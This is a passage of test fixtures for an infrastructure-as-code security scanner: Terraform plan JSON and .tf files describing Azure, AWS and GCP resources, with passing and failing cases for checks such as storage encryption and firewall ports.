\"name\": \"pass\",\n          \"network_security_group_name\": \"pass\",\n          \"priority\": 100,\n          \"protocol\": \"Tcp\",\n          \"resource_group_name\": \"test\",\n          \"source_address_prefix\": \"*\",\n          \"source_address_prefixes\": null,\n          \"source_application_security_group_ids\": null,\n          \"source_port_range\": \"*\",\n          \"source_port_ranges\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {}\n      }\n    },\n    {\n      \"address\": \"azurerm_resource_group.test\",\n      \"mode\": \"managed\",\n      \"type\": \"azurerm_resource_group\",\n      \"name\": \"test\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/azurerm\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"location\": \"canadacentral\",\n          \"name\": \"test\",\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {}\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"azurerm\": {\n        \"name\": \"azurerm\",\n        \"full_name\": \"registry.terraform.io/hashicorp/azurerm\",\n        \"version_constraint\": \">= 3.36.0\",\n        \"expressions\": {\n          \"features\": [\n            {\n              \"key_vault\": [\n                {\n                  \"purge_soft_delete_on_destroy\": {\n                    \"constant_value\": true\n                  }\n                }\n              ]\n            }\n          ]\n        }\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"azurerm_network_security_group.fail\",\n          \"mode\": \"managed\",\n          \"type\": \"azurerm_network_security_group\",\n          \"name\": \"fail\",\n          \"provider_config_key\": \"azurerm\",\n          \"expressions\": {\n            \"location\": {\n              \"references\": [\n                \"azurerm_resource_group.test.location\",\n                \"azurerm_resource_group.test\"\n              ]\n            },\n            \"name\": {\n              \"constant_value\": \"fail\"\n            },\n            \"resource_group_name\": {\n              \"references\": [\n                \"azurerm_resource_group.test.name\",\n                \"azurerm_resource_group.test\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"azurerm_network_security_group.pass\",\n          \"mode\": \"managed\",\n          \"type\": \"azurerm_network_security_group\",\n          \"name\": \"pass\",\n          \"provider_config_key\": \"azurerm\",\n          \"expressions\": {\n            \"location\": {\n              \"references\": [\n                \"azurerm_resource_group.test.location\",\n                \"azurerm_resource_group.test\"\n              ]\n            },\n            \"name\": {\n              \"constant_value\": \"pass\"\n            },\n            \"resource_group_name\": {\n              \"references\": [\n                \"azurerm_resource_group.test.name\",\n                \"azurerm_resource_group.test\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"azurerm_network_security_rule.pass\",\n          \"mode\": \"managed\",\n          \"type\": \"azurerm_network_security_rule\",\n          \"name\": \"pass\",\n          \"provider_config_key\": \"azurerm\",\n          \"expressions\": {\n            \"access\": {\n              \"constant_value\": \"Deny\"\n            },\n            \"destination_address_prefix\": {\n              \"constant_value\": \"*\"\n            },\n            \"destination_port_range\": {\n              \"constant_value\": \"3389\"\n            },\n            \"direction\": {\n              \"constant_value\": \"Inbound\"\n            },\n            \"name\": {\n              \"constant_value\": \"pass\"\n            },\n            \"network_security_group_name\": {\n              \"references\": [\n                \"azurerm_network_security_group.pass.name\",\n                \"azurerm_network_security_group.pass\"\n              ]\n            },\n            \"priority\": {\n              \"constant_value\": 100\n            },\n            \"protocol\": {\n              \"constant_value\": \"Tcp\"\n            },\n            \"resource_group_name\": {\n              \"references\": [\n                \"azurerm_resource_group.test.name\",\n                \"azurerm_resource_group.test\"\n              ]\n            },\n            \"source_address_prefix\": {\n              \"constant_value\": \"*\"\n            },\n            \"source_port_range\": {\n              \"constant_value\": \"*\"\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"azurerm_resource_group.test\",\n          \"mode\": \"managed\",\n          \"type\": \"azurerm_resource_group\",\n          \"name\": \"test\",\n          \"provider_config_key\": \"azurerm\",\n          \"expressions\": {\n            \"location\": {\n              \"constant_value\": \"Canada Central\"\n            },\n            \"name\": {\n              \"constant_value\": \"test\"\n            }\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  },\n  \"relevant_attributes\": [\n    {\n      \"resource\": \"azurerm_resource_group.test\",\n      \"attribute\": [\n        \"location\"\n      ]\n    },\n    {\n      \"resource\": \"azurerm_resource_group.test\",\n      \"attribute\": [\n        \"name\"\n      ]\n    },\n    {\n      \"resource\": \"azurerm_network_security_group.pass\",\n      \"attribute\": [\n        \"name\"\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/plan_with_resource_reference/tfplan_graph.json",
    "content": "{\n  \"format_version\": \"0.2\",\n  \"terraform_version\": \"1.0.11\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_s3_bucket.example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"example\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"arn\": \"arn:aws:s3:::example\",\n            \"bucket\": \"example\",\n            \"bucket_domain_name\": \"example.s3.amazonaws.com\",\n            \"bucket_regional_domain_name\": \"example.s3.amazonaws.com\",\n            \"id\": \"example\",\n            \"object_lock_configuration\": [\n              {\n                \"object_lock_enabled\": \"Enabled\",\n                \"rule\": [\n                  {\n                    \"default_retention\": [\n                      {\n                        \"days\": 7,\n                        \"mode\": \"COMPLIANCE\",\n                        \"years\": 0\n                      }\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"server_side_encryption_configuration\": [\n              {\n                \"rule\": [\n                  {\n                    \"apply_server_side_encryption_by_default\": [\n                      {\n                        \"kms_master_key_id\": \"\",\n                        \"sse_algorithm\": \"AES256\"\n                      }\n                    ],\n                    \"bucket_key_enabled\": false\n                  }\n                ]\n              }\n            ]\n          },\n          \"sensitive_values\": {\n            \"object_lock_configuration\": [\n              {\n                \"rule\": [\n                  {\n                    \"default_retention\": [\n                      {}\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [\n              {\n                \"rule\": [\n                  {\n                    \"apply_server_side_encryption_by_default\": [\n                      {}\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"versioning\": [\n              {}\n            ]\n          }\n        },\n        {\n          \"address\": \"aws_s3_bucket_public_access_block.example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket_public_access_block\",\n          \"name\": \"example\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"block_public_acls\": true,\n            \"block_public_policy\": true,\n            \"bucket\": \"example\",\n            \"id\": \"example\",\n            \"ignore_public_acls\": true,\n            \"restrict_public_buckets\": true\n          },\n          \"sensitive_values\": {}\n        }\n      ]\n    }\n  },\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"version_constraint\": \"~> 3.50.0\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_s3_bucket.example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"example\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"acl\": {\n              \"constant_value\": \"log-delivery-write\"\n            },\n            \"bucket\": {\n              \"constant_value\": \"example\"\n            },\n            \"object_lock_configuration\": [\n              {\n                \"object_lock_enabled\": {\n                  \"constant_value\": \"Enabled\"\n                },\n                \"rule\": [\n                  {\n                    \"default_retention\": [\n                      {\n                        \"days\": {\n                          \"constant_value\": 7\n                        },\n                        \"mode\": {\n                          \"constant_value\": \"COMPLIANCE\"\n                        }\n                      }\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"server_side_encryption_configuration\": [\n              {\n                \"rule\": [\n                  {\n                    \"apply_server_side_encryption_by_default\": [\n                      {\n                        \"sse_algorithm\": {\n                          \"references\": [\n                            \"var.s3_defaults.sse_algorithm\",\n                            \"var.s3_defaults\"\n                          ]\n                        }\n                      }\n                    ]\n                  }\n                ]\n              }\n            ]\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket_public_access_block.example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket_public_access_block\",\n          \"name\": \"example\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"block_public_acls\": {\n              \"constant_value\": true\n            },\n            \"block_public_policy\": {\n              \"constant_value\": true\n            },\n            \"bucket\": {\n              \"references\": [\n                \"aws_s3_bucket.example.id\",\n                \"aws_s3_bucket.example\"\n              ]\n            },\n            \"ignore_public_acls\": {\n              \"constant_value\": true\n            },\n            \"restrict_public_buckets\": {\n              \"constant_value\": true\n            }\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/provider_blocks/main.tf",
    "content": "provider \"aws\" {\n  alias      = \"provider_check_1\"\n  region     = \"us-west-1\"\n}\n\nprovider \"aws\" {\n  alias      = \"provider_check_2\"\n  region     = \"ap-northeast-2\"\n}\n\nprovider \"aws\" {\n  alias      = \"provider_check_3\"\n  region     = \"ap-northeast-2\"\n  default_tags {\n    tags = {\n      Environment = \"Test\"\n      Name        = \"Provider Tag\"\n    }\n  }\n}\n\nprovider \"aws\" {\n  alias      = \"provider_check_4\"\n  region     = \"ap-northeast-2\"\n  default_tags {\n  }\n}\n\nprovider \"aws\" {\n  alias      = \"provider_check_5\"\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/py_graph_check/main.tf",
    "content": "provider \"aws\" {\n  use_fips_endpoint = true\n}\n\nresource \"aws_db_instance\" \"storage_encrypted_enabled\" {\n  name           = \"name\"\n  engine         = \"mysql\"\n  instance_class = \"db.t3.micro\"\n  storage_encrypted = true\n}\n\nresource \"aws_db_instance\" \"default_connected_to_provider_with_fips\" {\n  name           = \"name\"\n  engine         = \"mysql\"\n  instance_class = \"db.t3.micro\"\n  provider = \"aws\"\n}\n\n# Fail\n\nresource \"aws_db_instance\" \"default\" {\n  name           = \"name\"\n  engine         = \"mysql\"\n  instance_class = \"db.t3.micro\"\n}\n\nresource \"aws_db_instance\" \"disabled\" {\n  name           = \"name\"\n  engine         = \"mysql\"\n  instance_class = \"db.t3.micro\"\n  storage_encrypted = False\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/py_graph_check_tf_plan/py_graph_check_paln.json",
    "content": "{\n  \"format_version\": \"0.1\",\n  \"terraform_version\": \"0.13.7\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"google_compute_network.achia_test_nonpeered_network\",\n          \"mode\": \"managed\",\n          \"type\": \"google_compute_network\",\n          \"name\": \"achia_test_nonpeered_network\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"auto_create_subnetworks\": true,\n            \"delete_default_routes_on_create\": false,\n            \"description\": null,\n            \"name\": \"achia_test-nonpeered-network\",\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"google_compute_network.achia_test_peered_nonwss_network\",\n          \"mode\": \"managed\",\n          \"type\": \"google_compute_network\",\n          \"name\": \"achia_test_peered_nonwss_network\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"auto_create_subnetworks\": true,\n            \"delete_default_routes_on_create\": false,\n            \"description\": null,\n            \"name\": \"achia_test-peered-nonwss-network\",\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"google_compute_network.achia_test_peered_wss_network\",\n          \"mode\": \"managed\",\n          \"type\": \"google_compute_network\",\n          \"name\": \"achia_test_peered_wss_network\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"auto_create_subnetworks\": true,\n            \"delete_default_routes_on_create\": false,\n            \"description\": null,\n            \"name\": \"achia_test-peered-wss-network\",\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"google_compute_network_peering.achia_test_network_peering_from_nonwss\",\n          \"mode\": \"managed\",\n          \"type\": \"google_compute_network_peering\",\n          \"name\": \"achia_test_network_peering_from_nonwss\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"export_custom_routes\": false,\n            \"export_subnet_routes_with_public_ip\": true,\n            \"import_custom_routes\": false,\n            \"import_subnet_routes_with_public_ip\": null,\n            \"name\": \"fake-network-peering-from-nonwss\",\n            \"network\": \"https://www.achia.com11111\",\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"google_compute_network_peering.achia_test_network_peering_from_wss\",\n          \"mode\": \"managed\",\n          \"type\": \"google_compute_network_peering\",\n          \"name\": \"achia_test_network_peering_from_wss\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"export_custom_routes\": false,\n            \"export_subnet_routes_with_public_ip\": true,\n            \"import_custom_routes\": false,\n            \"import_subnet_routes_with_public_ip\": null,\n            \"name\": \"fake-network-peering-from-wss\",\n            \"network\": \"https://www.achia.com11111\",\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"google_compute_network_peering.achia_test_network_peering_to_nonwss\",\n          \"mode\": \"managed\",\n          \"type\": \"google_compute_network_peering\",\n          \"name\": \"achia_test_network_peering_to_nonwss\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"export_custom_routes\": false,\n            \"export_subnet_routes_with_public_ip\": true,\n            \"import_custom_routes\": false,\n            \"import_subnet_routes_with_public_ip\": null,\n            \"name\": \"fake-network-peering-to-nonwss\",\n            \"peer_network\": \"https://www.achia.com11111\",\n            \"timeouts\": null\n          }\n        },\n        {\n          \"address\": \"google_compute_network_peering.achia_test_network_peering_to_wss\",\n          \"mode\": \"managed\",\n          \"type\": \"google_compute_network_peering\",\n          \"name\": \"achia_test_network_peering_to_wss\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"export_custom_routes\": false,\n            \"export_subnet_routes_with_public_ip\": true,\n            \"import_custom_routes\": false,\n            \"import_subnet_routes_with_public_ip\": null,\n            \"name\": \"fake-network-peering-to-wss\",\n            \"peer_network\": \"https://www.achia.com11111\",\n            \"timeouts\": null\n          }\n        }\n      ],\n      \"child_modules\": [\n        {\n          \"resources\": [\n            {\n              \"address\": \"module.achia_test_valid_443.google_compute_firewall.custom[0]\",\n              \"mode\": \"managed\",\n              \"type\": \"google_compute_firewall\",\n              \"name\": \"custom\",\n              \"index\": 0,\n              \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n              \"schema_version\": 1,\n              \"values\": {\n                \"allow\": [\n                  {\n                    \"ports\": [\n                      \"443\"\n                    ],\n                    \"protocol\": \"tcp\"\n                  }\n                ],\n                \"deny\": [],\n                \"description\": \"gcp-wss-tcp-allow\",\n                \"destination_ranges\": [\n                  \"0.0.0.0/0\"\n                ],\n                \"direction\": \"EGRESS\",\n                \"disabled\": false,\n                \"log_config\": [\n                  {\n                    \"metadata\": \"INCLUDE_ALL_METADATA\"\n                  }\n                ],\n                \"name\": \"egress-wss-valid-port443-allow\",\n                \"network\": \"achia_test-peered-wss-network\",\n                \"priority\": 1000,\n                \"project\": \"fake-id\",\n                \"source_service_accounts\": null,\n                \"source_tags\": null,\n                \"target_service_accounts\": null,\n                \"target_tags\": null,\n                \"timeouts\": null\n              }\n            }\n          ],\n          \"address\": \"module.achia_test_valid_443\"\n        },\n        {\n          \"resources\": [\n            {\n              \"address\": \"module.achia_test_valid_ports.google_compute_firewall.custom[0]\",\n              \"mode\": \"managed\",\n              \"type\": \"google_compute_firewall\",\n              \"name\": \"custom\",\n              \"index\": 0,\n              \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n              \"schema_version\": 1,\n              \"values\": {\n                \"allow\": [\n                  {\n                    \"ports\": [\n                      \"80\",\n                      \"443\"\n                    ],\n                    \"protocol\": \"tcp\"\n                  }\n                ],\n                \"deny\": [],\n                \"description\": \"gcp-wss-tcp-allow\",\n                \"destination_ranges\": [\n                  \"0.0.0.0/0\"\n                ],\n                \"direction\": \"EGRESS\",\n                \"disabled\": false,\n                \"log_config\": [\n                  {\n                    \"metadata\": \"INCLUDE_ALL_METADATA\"\n                  }\n                ],\n                \"name\": \"egress-wss-valid-port80and443-allow\",\n                \"network\": \"achia_test-peered-wss-network\",\n                \"priority\": 1000,\n                \"project\": \"fake-id\",\n                \"source_service_accounts\": null,\n                \"source_tags\": null,\n                \"target_service_accounts\": null,\n                \"target_tags\": null,\n                \"timeouts\": null\n              }\n            }\n          ],\n          \"address\": \"module.achia_test_valid_ports\"\n        },\n        {\n          \"resources\": [\n            {\n              \"address\": \"module.achia_test_violating_no_ports.google_compute_firewall.custom[0]\",\n              \"mode\": \"managed\",\n              \"type\": \"google_compute_firewall\",\n              \"name\": \"custom\",\n              \"index\": 0,\n              \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n              \"schema_version\": 1,\n              \"values\": {\n                \"allow\": [\n                  {\n                    \"ports\": [],\n                    \"protocol\": \"tcp\"\n                  }\n                ],\n                \"deny\": [],\n                \"description\": \"gcp-wss-tcp-allow\",\n                \"destination_ranges\": [\n                  \"0.0.0.0/0\"\n                ],\n                \"direction\": \"EGRESS\",\n                \"disabled\": false,\n                \"log_config\": [\n                  {\n                    \"metadata\": \"INCLUDE_ALL_METADATA\"\n                  }\n                ],\n                \"name\": \"egress-wss-all-ports-allow\",\n                \"network\": \"achia_test-peered-wss-network\",\n                \"priority\": 1000,\n                \"project\": \"fake-id\",\n                \"source_service_accounts\": null,\n                \"source_tags\": null,\n                \"target_service_accounts\": null,\n                \"target_tags\": null,\n                \"timeouts\": null\n              }\n            }\n          ],\n          \"address\": \"module.achia_test_violating_no_ports\"\n        },\n        {\n          \"resources\": [\n            {\n              \"address\": \"module.achia_test_violating_port.google_compute_firewall.custom[0]\",\n              \"mode\": \"managed\",\n              \"type\": \"google_compute_firewall\",\n              \"name\": \"custom\",\n              \"index\": 0,\n              \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n              \"schema_version\": 1,\n              \"values\": {\n                \"allow\": [\n                  {\n                    \"ports\": [\n                      \"80\",\n                      \"443\",\n                      \"3600\"\n                    ],\n                    \"protocol\": \"tcp\"\n                  }\n                ],\n                \"deny\": [],\n                \"description\": \"gcp-wss-tcp-allow\",\n                \"destination_ranges\": [\n                  \"0.0.0.0/0\"\n                ],\n                \"direction\": \"EGRESS\",\n                \"disabled\": false,\n                \"log_config\": [\n                  {\n                    \"metadata\": \"INCLUDE_ALL_METADATA\"\n                  }\n                ],\n                \"name\": \"egress-wss-violating-port3600-allow\",\n                \"network\": \"achia_test-peered-wss-network\",\n                \"priority\": 1000,\n                \"project\": \"fake-id\",\n                \"source_service_accounts\": null,\n                \"source_tags\": null,\n                \"target_service_accounts\": null,\n                \"target_tags\": null,\n                \"timeouts\": null\n              }\n            }\n          ],\n          \"address\": \"module.achia_test_violating_port\"\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"google_compute_network.achia_test_nonpeered_network\",\n      \"mode\": \"managed\",\n      \"type\": \"google_compute_network\",\n      \"name\": \"achia_test_nonpeered_network\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"auto_create_subnetworks\": true,\n          \"delete_default_routes_on_create\": false,\n          \"description\": null,\n          \"name\": \"achia_test-nonpeered-network\",\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"gateway_ipv4\": true,\n          \"id\": true,\n          \"mtu\": true,\n          \"project\": true,\n          \"routing_mode\": true,\n          \"self_link\": true\n        }\n      }\n    },\n    {\n      \"address\": \"google_compute_network.achia_test_peered_nonwss_network\",\n      \"mode\": \"managed\",\n      \"type\": \"google_compute_network\",\n      \"name\": \"achia_test_peered_nonwss_network\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"auto_create_subnetworks\": true,\n          \"delete_default_routes_on_create\": false,\n          \"description\": null,\n          \"name\": \"achia_test-peered-nonwss-network\",\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"gateway_ipv4\": true,\n          \"id\": true,\n          \"mtu\": true,\n          \"project\": true,\n          \"routing_mode\": true,\n          \"self_link\": true\n        }\n      }\n    },\n    {\n      \"address\": \"google_compute_network.achia_test_peered_wss_network\",\n      \"mode\": \"managed\",\n      \"type\": \"google_compute_network\",\n      \"name\": \"achia_test_peered_wss_network\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"auto_create_subnetworks\": true,\n          \"delete_default_routes_on_create\": false,\n          \"description\": null,\n          \"name\": \"achia_test-peered-wss-network\",\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"gateway_ipv4\": true,\n          \"id\": true,\n          \"mtu\": true,\n          \"project\": true,\n          \"routing_mode\": true,\n          \"self_link\": true\n        }\n      }\n    },\n    {\n      \"address\": \"google_compute_network_peering.achia_test_network_peering_from_nonwss\",\n      \"mode\": \"managed\",\n      \"type\": \"google_compute_network_peering\",\n      \"name\": \"achia_test_network_peering_from_nonwss\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"export_custom_routes\": false,\n          \"export_subnet_routes_with_public_ip\": true,\n          \"import_custom_routes\": false,\n          \"import_subnet_routes_with_public_ip\": null,\n          \"name\": \"fake-network-peering-from-nonwss\",\n          \"network\": \"https://www.achia.com11111\",\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"peer_network\": true,\n          \"state\": true,\n          \"state_details\": true\n        }\n      }\n    },\n    {\n      \"address\": \"google_compute_network_peering.achia_test_network_peering_from_wss\",\n      \"mode\": \"managed\",\n      \"type\": \"google_compute_network_peering\",\n      \"name\": \"achia_test_network_peering_from_wss\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"export_custom_routes\": false,\n          \"export_subnet_routes_with_public_ip\": true,\n          \"import_custom_routes\": false,\n          \"import_subnet_routes_with_public_ip\": null,\n          \"name\": \"fake-network-peering-from-wss\",\n          \"network\": \"https://www.achia.com11111\",\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"peer_network\": true,\n          \"state\": true,\n          \"state_details\": true\n        }\n      }\n    },\n    {\n      \"address\": \"google_compute_network_peering.achia_test_network_peering_to_nonwss\",\n      \"mode\": \"managed\",\n      \"type\": \"google_compute_network_peering\",\n      \"name\": \"achia_test_network_peering_to_nonwss\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"export_custom_routes\": false,\n          \"export_subnet_routes_with_public_ip\": true,\n          \"import_custom_routes\": false,\n          \"import_subnet_routes_with_public_ip\": null,\n          \"name\": \"fake-network-peering-to-nonwss\",\n          \"peer_network\": \"https://www.achia.com11111\",\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"network\": true,\n          \"state\": true,\n          \"state_details\": true\n        }\n      }\n    },\n    {\n      \"address\": \"google_compute_network_peering.achia_test_network_peering_to_wss\",\n      \"mode\": \"managed\",\n      \"type\": \"google_compute_network_peering\",\n      \"name\": \"achia_test_network_peering_to_wss\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"export_custom_routes\": false,\n          \"export_subnet_routes_with_public_ip\": true,\n          \"import_custom_routes\": false,\n          \"import_subnet_routes_with_public_ip\": null,\n          \"name\": \"fake-network-peering-to-wss\",\n          \"peer_network\": \"https://www.achia.com11111\",\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"network\": true,\n          \"state\": true,\n          \"state_details\": true\n        }\n      }\n    },\n    {\n      \"address\": \"module.achia_test_valid_443.google_compute_firewall.custom[0]\",\n      \"module_address\": \"module.achia_test_valid_443\",\n      \"mode\": \"managed\",\n      \"type\": \"google_compute_firewall\",\n      \"name\": \"custom\",\n      \"index\": 0,\n      \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"allow\": [\n            {\n              \"ports\": [\n                \"443\"\n              ],\n              \"protocol\": \"tcp\"\n            }\n          ],\n          \"deny\": [],\n          \"description\": \"gcp-wss-tcp-allow\",\n          \"destination_ranges\": [\n            \"0.0.0.0/0\"\n          ],\n          \"direction\": \"EGRESS\",\n          \"disabled\": false,\n          \"log_config\": [\n            {\n              \"metadata\": \"INCLUDE_ALL_METADATA\"\n            }\n          ],\n          \"name\": \"egress-wss-valid-port443-allow\",\n          \"network\": \"achia_test-peered-wss-network\",\n          \"priority\": 1000,\n          \"project\": \"fake-id\",\n          \"source_service_accounts\": null,\n          \"source_tags\": null,\n          \"target_service_accounts\": null,\n          \"target_tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"allow\": [\n            {\n              \"ports\": [\n                false\n              ]\n            }\n          ],\n          \"creation_timestamp\": true,\n          \"deny\": [],\n          \"destination_ranges\": [\n            false\n          ],\n          \"enable_logging\": true,\n          \"id\": true,\n          \"log_config\": [\n            {}\n          ],\n          \"self_link\": true,\n          \"source_ranges\": true\n        }\n      }\n    },\n    {\n      \"address\": \"module.achia_test_valid_ports.google_compute_firewall.custom[0]\",\n      \"module_address\": \"module.achia_test_valid_ports\",\n      \"mode\": \"managed\",\n      \"type\": \"google_compute_firewall\",\n      \"name\": \"custom\",\n      \"index\": 0,\n      \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"allow\": [\n            {\n              \"ports\": [\n                \"80\",\n                \"443\"\n              ],\n              \"protocol\": \"tcp\"\n            }\n          ],\n          \"deny\": [],\n          \"description\": \"gcp-wss-tcp-allow\",\n          \"destination_ranges\": [\n            \"0.0.0.0/0\"\n          ],\n          \"direction\": \"EGRESS\",\n          \"disabled\": false,\n          \"log_config\": [\n            {\n              \"metadata\": \"INCLUDE_ALL_METADATA\"\n            }\n          ],\n          \"name\": \"egress-wss-valid-port80and443-allow\",\n          \"network\": \"achia_test-peered-wss-network\",\n          \"priority\": 1000,\n          \"project\": \"fake-id\",\n          \"source_service_accounts\": null,\n          \"source_tags\": null,\n          \"target_service_accounts\": null,\n          \"target_tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"allow\": [\n            {\n              \"ports\": [\n                false,\n                false\n              ]\n            }\n          ],\n          \"creation_timestamp\": true,\n          \"deny\": [],\n          \"destination_ranges\": [\n            false\n          ],\n          \"enable_logging\": true,\n          \"id\": true,\n          \"log_config\": [\n            {}\n          ],\n          \"self_link\": true,\n          \"source_ranges\": true\n        }\n      }\n    },\n    {\n      \"address\": \"module.achia_test_violating_no_ports.google_compute_firewall.custom[0]\",\n      \"module_address\": \"module.achia_test_violating_no_ports\",\n      \"mode\": \"managed\",\n      \"type\": \"google_compute_firewall\",\n      \"name\": \"custom\",\n      \"index\": 0,\n      \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"allow\": [\n            {\n              \"ports\": [],\n              \"protocol\": \"tcp\"\n            }\n          ],\n          \"deny\": [],\n          \"description\": \"gcp-wss-tcp-allow\",\n          \"destination_ranges\": [\n            \"0.0.0.0/0\"\n          ],\n          \"direction\": \"EGRESS\",\n          \"disabled\": false,\n          \"log_config\": [\n            {\n              \"metadata\": \"INCLUDE_ALL_METADATA\"\n            }\n          ],\n          \"name\": \"egress-wss-all-ports-allow\",\n          \"network\": \"achia_test-peered-wss-network\",\n          \"priority\": 1000,\n          \"project\": \"fake-id\",\n          \"source_service_accounts\": null,\n          \"source_tags\": null,\n          \"target_service_accounts\": null,\n          \"target_tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"allow\": [\n            {\n              \"ports\": []\n            }\n          ],\n          \"creation_timestamp\": true,\n          \"deny\": [],\n          \"destination_ranges\": [\n            false\n          ],\n          \"enable_logging\": true,\n          \"id\": true,\n          \"log_config\": [\n            {}\n          ],\n          \"self_link\": true,\n          \"source_ranges\": true\n        }\n      }\n    },\n    {\n      \"address\": \"module.achia_test_violating_port.google_compute_firewall.custom[0]\",\n      \"module_address\": \"module.achia_test_violating_port\",\n      \"mode\": \"managed\",\n      \"type\": \"google_compute_firewall\",\n      \"name\": \"custom\",\n      \"index\": 0,\n      \"provider_name\": \"registry.terraform.io/hashicorp/google\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"allow\": [\n            {\n              